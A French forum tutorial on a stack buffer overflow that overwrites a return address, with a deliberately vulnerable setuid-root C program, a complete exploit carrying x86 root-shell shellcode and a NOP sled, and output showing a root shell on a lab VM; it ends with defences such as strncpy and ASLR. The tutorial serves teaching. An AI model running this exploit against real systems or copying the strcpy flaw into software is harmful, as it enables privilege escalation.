Annonce

Réduire
Aucune annonce.

Un buffer overflow par écrasement de l'adresse de retour

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Un buffer overflow par écrasement de l'adresse de retour

    Aujourd'hui et après un certain temps sans tutoriels, nous allons reprendre sur le buffer overflow.

    Le but du jour sera de détourner un programme setUidRoot afin d'accéder aux droits d'administration sur une machine.


    Pré-requis
    L'accès à ce tutoriel nécessite quelques pré-requis tels que :
    • Maitriser le langage C
    • Savoir utiliser VirtualBox et l'avoir installé
    • Avoir lu mon tutoriel sur la segmentation de la mémoire
    • Avoir lu mon tutoriel sur l'exploitation d'un overflow basique
    • Disposer d'une machine linux avec un noyau < au noyau 2.6.12



    Une machine vulnérable
    Sachez que depuis le noyau linux 2.6.12, cette technique de buffer overflow <strong>n'est plus possible</strong> grâce au mécanisme nommé ASLR.

    Celui-ci a pour but d'insérer un décalage systématique dans la mémoire d'un programme si bien qu'il n'est plus possible de prévoir ou se trouvera une variable ou une adresse en mémoire. Ce qui empêche bien évidement d'écraser efficacement celle-ci.

    Pour ce tutoriel nous utiliserons donc une machine virtuelle vulnérable. Vous pouvez trouver une exportation de celle-ci à l'adresse suivante :
    https://mega.nz/#!ch81iSaI!BagEAGOY0...ubTa1V8xFPVttQ

    Cette machine virtuelle Ubuntu 32 bits est prévue pour être utilisée avec l'hyperviseur VirtualBox.

    Une fois celle-ci importée, vous pourrez la démarrer et vous connecter grâce à l'identifiant mot de passe suivant :

    Identifiant : hackademicien

    Mot de passe : hackademics

    Vous aurez alors accès à un environnement complètement installé et également vulnérable à ce type de buffer overflow.



    Notre programme vulnérable
    Dans le cadre de ce tutoriel, nous allons utiliser un programme écrit pour être vulnérable à ce type d'attaque. Il ne sera donc pas très intéressant et nous allons de plus faire une grande erreur dans le choix de ses droits.

    Voici le code :
    Code:
    #include<stdio.h>
    #include<stdlib.h>
    int main(int argc, char *argv[]){
    	int i;	
    	char buffer[100];
    	if(argc<=2){
    		
    		strcpy(buffer,argv[1]);
    		printf("%s \n",&buffer);
    
    	}
    	else{
    		printf("Usage %s text1 text2 ... \n",argv[0]);
    	}
    }
    Comme vous pouvez le voir, ce programme ne fait que prendre un argument de la ligne de commande, le stocker dans un buffer et finalement l'afficher. Rien de très intéressant mais faire plus compliqué serait dans ce cadre inutile.

    Nous allons maintenant compiler ce programme et tester son bon fonctionnement :
    Code:
    [email protected]:~ $ gcc vuln.c -o vuln
    [email protected]:~ $ ./vuln anonyme77
    anonyme77
    Jusque là tout va bien mais nous allons maintenant commettre intentionnellement une erreur qui nous sera plus tard fatale. Nous allons donner des droits d'administration à se programme et lui donner la possibilité d'être exécuté par un autre utilisateur que root.
    Code:
    [email protected]:~ $ sudo chown root.root vuln
    Password:
    [email protected]:~ $ sudo chmod u+s vuln
    [email protected]:~ $ 
    [email protected]:~ $ ls -l vuln
    -rwsr-xr-x 1 root root 6778 2015-09-03 13:21 vuln
    [email protected]:~ $ ./vuln anonyme77
    anonyme77
    Les droits utilisés sont ici inutiles. Mais, dans certains cas, ils s'avèrent indispensables. En effet, c'est grâce à eux que des programmes prévus pour les utilisateurs peuvent modifier des fichiers appartenant uniquement au root de la machine.

    Imaginons un programme de prise de note multi-utilisateurs. Il serait utile que ce programme ai les droits expliqués ici. En effet, ces droits permettent à tous les utilisateurs d'utiliser le programme (qui appartient pourtant à root) tout en permettant à ce dernier de stocker ses données dans un fichier disponible uniquement au root. Les notes sont ainsi sauvegardées et protégées par les droits.

    Notre programme exploitant
    Afin d'exploiter notre buffer overflow, nous allons ici utiliser un programme générant un tampon qui sera passé comme argument de la ligne de commande à notre programme si joliment appelé vuln.

    Voici notre programme d'exploitation :
    Code:
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    char shellcode[]= 
    "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
    "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
    "\xe1\xcd\x80";
    
    int main(int argc, char *argv[]) {
       unsigned int i, *ptr, ret, offset=270;
       char *command, *buffer;
    
       command = (char *) malloc(200);
       bzero(command, 200); // zero out the new memory
    
       strcpy(command, "./vuln \'"); // start command buffer
       buffer = command + strlen(command); // set buffer at the end
    
       if(argc > 1) // set offset
          offset = atoi(argv[1]);
    
       ret = (unsigned int) &amp;i - offset; // set return address
    
       for(i=0; i < 160; i+=4) // fill buffer with return address
          *((unsigned int *)(buffer+i)) = ret;
       memset(buffer, 0x90, 60); // build NOP sled
       memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 
    
       strcat(command, "\'");
    
       system(command); // run exploit
       free(command);
    }
    Nous nous attarderons plus tard sur le fonctionnement exact de ce programme. Cela expliquera également notre buffer overflow. Commençons par le tester.

    L'exploitation
    Notre programme exploitVuln prend un argument de la ligne de commande qui représente un décalage de mémoire (que je vous expliquerai plus tard).

    Compilons le et exécutons le :
    Code:
    [email protected]:~/Ecrasement $ gcc exploitVuln.c -o exploitVuln
    [email protected]:~ $ ./exploitVuln 100
    ������������������������������������������������������������1�1�1ə��̀j
                                                                          XQh//shh/bin��Q��S��̀����������������������������������������������������������������� 
    [email protected]:~/Ecrasement $ ./exploitVuln 173
    ������������������������������������������������������������1�1�1ə��̀j
                                                                          XQh//shh/bin��Q��S��̀����������������������������������������������������������������� 
    sh-3.2# touch TestFile
    sh-3.2# ls -l TestFile 
    -rw-r--r-- 1 root anonyme77 0 Sep  3 18:10 TestFile
    sh-3.2#
    Comme nous pouvons le voir, l'essai avec l'argument 100 n'a pas été fructueux. Le programme vulnérable a simplement été exécuté, sans plus.

    Par contre, une utilisation avec l'argument 173 nous donne accès à une console qui s'avère après test être une console root et ayant donc tous les droits sur le système.

    Notre programme d'exploitation a donc réussi à accéder aux droits root donnés au programme vulnérable mais comment ?

    Avant de nous pencher sur cette question, nous allons devoir repasser par une notion théorique, l'empilement d'une fonction dans un programme.

    Empilement d'une fonction
    Comme nous l'avons vu dans notre tutoriel sur la segmentation de la mémoire, un appel d'une fonction crée un nouvel enregistrement sur la pile appelé bloc d'activation.

    Celui ci contient les variables de la dite fonction mais également ses arguments, son adresse de retour et son pointeur de bloc d'activation sauvegardé.

    Au fur et à mesure des appels de fonctions, les blocs d'activation de ces dernières sont ajoutés sur le haut de la pile. Donc vers les adresses mémoires basses (comme la pile est le dernier segment et qu'elle évolue toujours vers le haut).

    On peut voir la structure de la pile et de ses différents blocs d'activation dans le diagramme suivant.


    Quand une fonction fini son exécution, elle est dépilée est les variables contenues dans le bloc d'activation précédent sont restaurées. La processeur suit alors l'adresse de retour de la fonction afin de reprendre la fonction précédente à la bonne instruction du segment texte.

    L'écrasement de l'adresse de retour
    Au vu de notre explication sur le fonctionnement de l'empilement et du désempilage, on peut imaginer une technique pour détourner le flux d'exécution du programme. Pour l'emmener à exécuter du code pour lequel il n'était pas prévu.

    Cela peut se faire en écrasant une adresse de retour dans un bloc d'activation. Cela aura pour effet que lors de la fin de cette fonction, le processeur lira l'adresse de retour que nous avons choisie et cette adresse de retour le mènera au shellcode que nous voulons voir exécuté (dans notre cas, une restauration des droits d'administration et l'ouverture d'un shell de commande).

    Cette écrasement peut se faire grâce à notre variable buffer (si elle est mal gérée, ce qui ici est la cas). Si celle-ci déborde de son emplacement, elle écrasera l'adresse du bloc d'activation sauvegardé et ensuite l'adresse de retour de la fonction.



    Insertion du shellcode
    Si nous plaçons notre shellcode dans notre variable buffer et que nous faisons déborder celle-ci afin de réécrire l'adresse de retour (et d'y placer celle de la variable buffer) de la fonction, le processeur exécutera notre shellcode et nous aurons réussi notre buffer oveflow.

    Cependant, il nous reste plusieurs difficultés à affronter :
    • On doit être certain d'écraser l'adresse de retour
    • On doit déterminer par quelle adresse nous devons écraser l'adresse de retour



    Etre certain d'écraser l'adresse de retour
    Le problème avec les compilateurs, c'est que souvent, ils ajoutent du remplissage. Ainsi, il pourrait très bien exister des adresses mémoires non utilisées (enfin utilisées par du remplissage) entre notre pointeur de bloc d'activation sauvegardé et notre adresse de retour dans le bloc d'activation de notre fonction.

    Une solution pour surmonter cette difficulté est simplement d'être certain de dépasser suffisamment afin de l'écraser.

    Il faut tout de même remarquer que dépasser de trop entrainera des erreurs de segmentation. Il faut trouver le juste milieu quand on écrit le code du programme exploitant.



    Déterminer la nouvelle adresse de retour
    Quand l'OS charge un programme en mémoire, on ne sait jamais où il le placera. Cela dépend de beaucoup trop de facteurs tels que l'utilisation globale de la mémoire à ce moment T, les allocations demandées par d'autres programmes, les autres opérations en cours, l'utilisation du swap, ...

    Ainsi, ce n'est pas parce qu'un programme est utilisé deux fois de suite qu'il sera nécessairement au même emplacement.

    Cependant, si deux programmes sont lancés quasi simultanément, il y a fort à parier qu'ils seront placés côte à côte en mémoire. Nous pouvons donc, dans notre programme attaquant, utiliser un décalage (que nous nous donnons la possibilité de fixer via la ligne de commande) afin de déterminer une adresse de retour possible.

    Malheureusement, si cette technique est fonctionnelle, elle ne suffit pas et il sera très problématique de définir l'adresse exacte du début de notre variable buffer dans le programme vulnérable (étant donné que nous voulons placer notre shellcode au tout début de ce buffer).

    Heureusement, il existe une instruction assembleur qui nous viendra en aide dans cette problématique. Cet instruction nommée NOP et ayant la valeur hexadécimale 0x90 (sur les processeurs x86) est utilisée pour demander au processeur de ne rien faire et de simplement passer à l'instruction suivante.

    Nous pourrions donc commencer notre buffer par un tableau de NOP suffisamment généreux suivi de notre shellcode. Ainsi, si nous trouvons le bon décalage, notre adresse de retour pointera quelque part dans le tableau de NOP. Le processeur exécutera donc tous les NOP qu'il trouvera avant de tomber sur notre shellcode et de l'exécuter.

    Cette technique a l'avantage d'augmenter la probabilité que notre décalage nous donne une adresse viable.



    Structure finale de notre buffer
    Voici donc la structure finale du buffer que nous devons générer :


    Celui est donc constitué de trois parties :
    • L'adresse de retour répétée : Cette adresse est répétée suffisamment de fois que pour écraser l'adresse de retour dans le bloc d'activation de la fonction. Elle est calculée grâce à une variable de référence du programme attaquant et à un décalage afin de pointer vers une adresse se trouvant dans le tableau de NOP
    • Le tableau de NOP : Il contient un nombre suffisant d'instructions assembleurs NOP afin d'assurer que l'adresse de retour aura toutes ses chances de tomber dans ce tableau. Il permet également d'amener le processeur vers le shellcode
    • Le shellcode : C'est le code permettant de restaurer les droits d'administration et d'ouvrir un terminal. Dans notre cas, il sera écrit en hexadécimal dans le code source.


    Analyse du programme attaquant
    Prenons maintenant le temps d'analyser un peu notre programme attaquant partie par partie.
    Code:
    command = (char *) malloc(200);
    bzero(command, 200); // zero out the new memory
    
    strcpy(command, "./vuln \'"); // start command buffer
    buffer = command + strlen(command); // set buffer at the end
    Ici, nous créons un tampon nommé command. Celui-ci permettra en fait de créer une chaine de caractère permettant de lancer le programme vulnérable avec le bon argument de la ligne de commande.

    Nous y copions la chaine permettant de lancer le programme cible et créons ensuite un pointeur vers la fin de cette chaine (pour faciliter les opérations suivantes).
    Code:
    if(argc > 1) // set offset
        offset = atoi(argv[1]);
    
    ret = (unsigned int) &amp;i - offset; // set return address
    Dans cette partie nous récupérons l'argument de la ligne de commande. Celui-ci représente le décalage. Nous calculons alors notre adresse de retour grâce à l'adresse de la variable i présente dans notre programme attaquant. En fait la variable i nous sert de référence. On aurait cependant pu en prendre une autre.
    Code:
    for(i=0; i < 160; i+=4) // fill buffer with return address
          *((unsigned int *)(buffer+i)) = ret;
    Nous copions ensuite 40 fois les 4 octets de l'adresse de retour (donc en tout 160 octets) juste après le texte de la commande (que nous ciblons grâce à notre pointeur buffer).
    Code:
    memset(buffer, 0x90, 60); // build NOP sled
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
    Ensuite, nous mettons en place 60 octets de NOP au début du buffer suivis de notre shellcode.

    Nous écrasons donc en fait une partie nos 160 octets d'adresse de retour répétée.
    Code:
    strcat(command, "\'");
    
    system(command); // run exploit
    free(command);
    Finalement, nous ajoutons un \ final et exécutons la commande grâce à la fonction system.

    Ensuite, nous n'oublions pas de libérer le tampon command.

    Le décalage de 173
    Maintenant que nous comprenons le fonctionnement du programme attaquant et le principe général de ce buffer overflow, nous pouvons nous rendre compte que son paramètre 173 nécessaire à la réussite de notre buffer overflow représente le décalage permettant de cibler une adresse dans notre tableau de NOP.

    Se protéger de ce type d'attaque
    Dans ce cas et comme pour l'article précédent, le principal défaut vient de l'utilisation de la fonction strcpy dans le programme vulnérable.

    En effet, cette fonction copie un buffer dans un autre sans se soucier de la taille du buffer d'arrivée. L'utilisation de la fonction strncpy règle ce problème étant donné que cette dernière copie un nombre de caractère maximum d'un buffer à un autre. Elle empêche donc ce genre de débordement.

    De plus, de nos jours, cette méthode n'est plus vraiment d'actualité dû au système ASLR qui décale les adresses lors de l'exécution. Ainsi avec ce système, il n'est pas certain que nos deux programmes chargés quasi simultanément seront placés côte à côte. Il ne sera donc pas aisé de trouver le bon décalage par essai-erreur.

    Conclusion
    Ce tutoriel est maintenant terminé. Je pense qu'il a été compliqué au point de vue théorique. N'hésitez donc pas à poser des questions en cas de besoin. Je serai heureux d'y répondre.

    Dans le tutoriel suivant (qui sera plus simple rassurez vous), nous simplifierons le code de notre exploit afin de ne plus devoir définir notre adresse de retour par essai erreur. Que de bonnes choses en perspectives.

    Remarque
    Le message ajouté sur le forum a subit une modification de sa structure html en BBCode, signalez moi toute erreur que vous verriez.
    En cas de problème, vous pouvez également voir ce tutoriel sur mon blog spidermind.be
    Dernière modification par Anonyme77, 05 septembre 2015, 23h04.

  • #2
    Merci pour ce super tuto, inspiré de Jon Erickson mais bien mieux expliqué

    Erreur de BBcode : &i = &amp:i
    Dernière modification par bilboy69, 09 décembre 2015, 14h10.

    Commentaire

    Chargement...
    X